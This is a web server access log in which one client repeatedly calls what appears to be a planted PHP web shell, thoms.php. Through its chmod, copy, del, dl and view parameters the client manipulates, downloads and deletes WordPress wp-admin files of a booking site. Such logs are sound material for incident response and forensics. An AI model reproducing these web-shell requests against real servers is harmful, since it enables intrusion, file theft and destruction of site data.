45.135.193.11 - - [11/Sep/2026:23:47:36 -0400] "GET /thoms.php?chmod=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=edit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:36 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fexport-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:37 -0400] "GET /thoms.php?chmod=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:37 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:37 -0400] "GET /thoms.php?chmod=customize.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:37 -0400] "GET /thoms.php?del=options-media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=options-media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:37 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:38 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12967 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:38 -0400] "GET /thoms.php?chmod=update-core.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=update-core.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:38 -0400] "GET /booking-wise2.com.tw/wp-admin/includes/ HTTP/1.1" 200 4199 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:39 -0400] "GET /thoms.php?chmod=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=custom-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:39 -0400] "GET /thoms.php?del=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:39 -0400] "GET /booking-wise2.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:39 -0400] "GET /booking-wise2.com.tw/wp-admin/options-general.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:39 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11544 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:40 -0400] "GET /thoms.php?chmod=update.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fwidgets.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:40 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:40 -0400] "GET /booking-wise2.com.tw/wp-admin/edit-tag-form.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:40 -0400] "GET /booking-wise2.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:41 -0400] "GET /booking-wise2.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:41 -0400] "GET /thoms.php?dl=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=widgets-form-blocks.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:41 -0400] "GET /thoms.php?dl=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:41 -0400] "GET /thoms.php?del=font-library.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=font-library.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:41 -0400] "GET /thoms.php?dl=install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:42 -0400] "GET /thoms.php?del=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28773 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:42 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-themes.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:42 -0400] "GET /thoms.php?del=comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:43 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11542 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:43 -0400] "GET /thoms.php?chmod=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=admin-ajax.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:43 -0400] "GET /thoms.php?del=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-form-comment.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:44 -0400] "GET /thoms.php?dl=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=admin-post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:44 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-manager.php HTTP/1.1" 200 13926 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=link-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:44 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:44 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fedit-link-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:45 -0400] "GET /thoms.php?chmod=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:45 -0400] "GET /thoms.php?del=media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:45 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12045 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:45 -0400] "GET /booking-wise2.com.tw/wp-admin/plugins.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-post.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fadmin-post.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:46 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcredits.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcredits.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /booking-wise2.com.tw/wp-admin/custom-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /thoms.php?del=media-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /thoms.php?del=update.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?del=update.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:47 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-advanced.php HTTP/1.1" 200 22472 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=edit-form-advanced.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:48 -0400] "GET /thoms.php?chmod=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:48 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-head.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Foptions-head.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:48 -0400] "GET /thoms.php?del=plugins.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=plugins.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets-form-blocks.php HTTP/1.1" 200 13992 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets-form-blocks.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media-new.php HTTP/1.1" 200 13499 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /thoms.php?dl=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=load-scripts.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /booking-wise2.com.tw/wp-admin/ms-upgrade-network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fimport.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fimport.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:49 -0400] "GET /booking-wise2.com.tw/wp-admin/install-helper.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:50 -0400] "GET /thoms.php?dl=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:50 -0400] "GET /thoms.php?dl=menu.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=menu.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:50 -0400] "GET /booking-wise2.com.tw/wp-admin/async-upload.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:50 -0400] "GET /thoms.php?chmod=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /booking-wise2.com.tw/wp-admin/media.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /thoms.php?chmod=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=ms-themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-reading.php HTTP/1.1" 200 15559 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-reading.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /booking-wise2.com.tw/wp-admin/widgets-form-blocks.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /thoms.php?del=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:51 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-header.php HTTP/1.1" 200 15288 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:52 -0400] "GET /thoms.php?chmod=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11539 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:52 -0400] "GET /thoms.php?dl=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:52 -0400] "GET /thoms.php?del=update-core.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=update-core.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:52 -0400] "GET /thoms.php?chmod=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
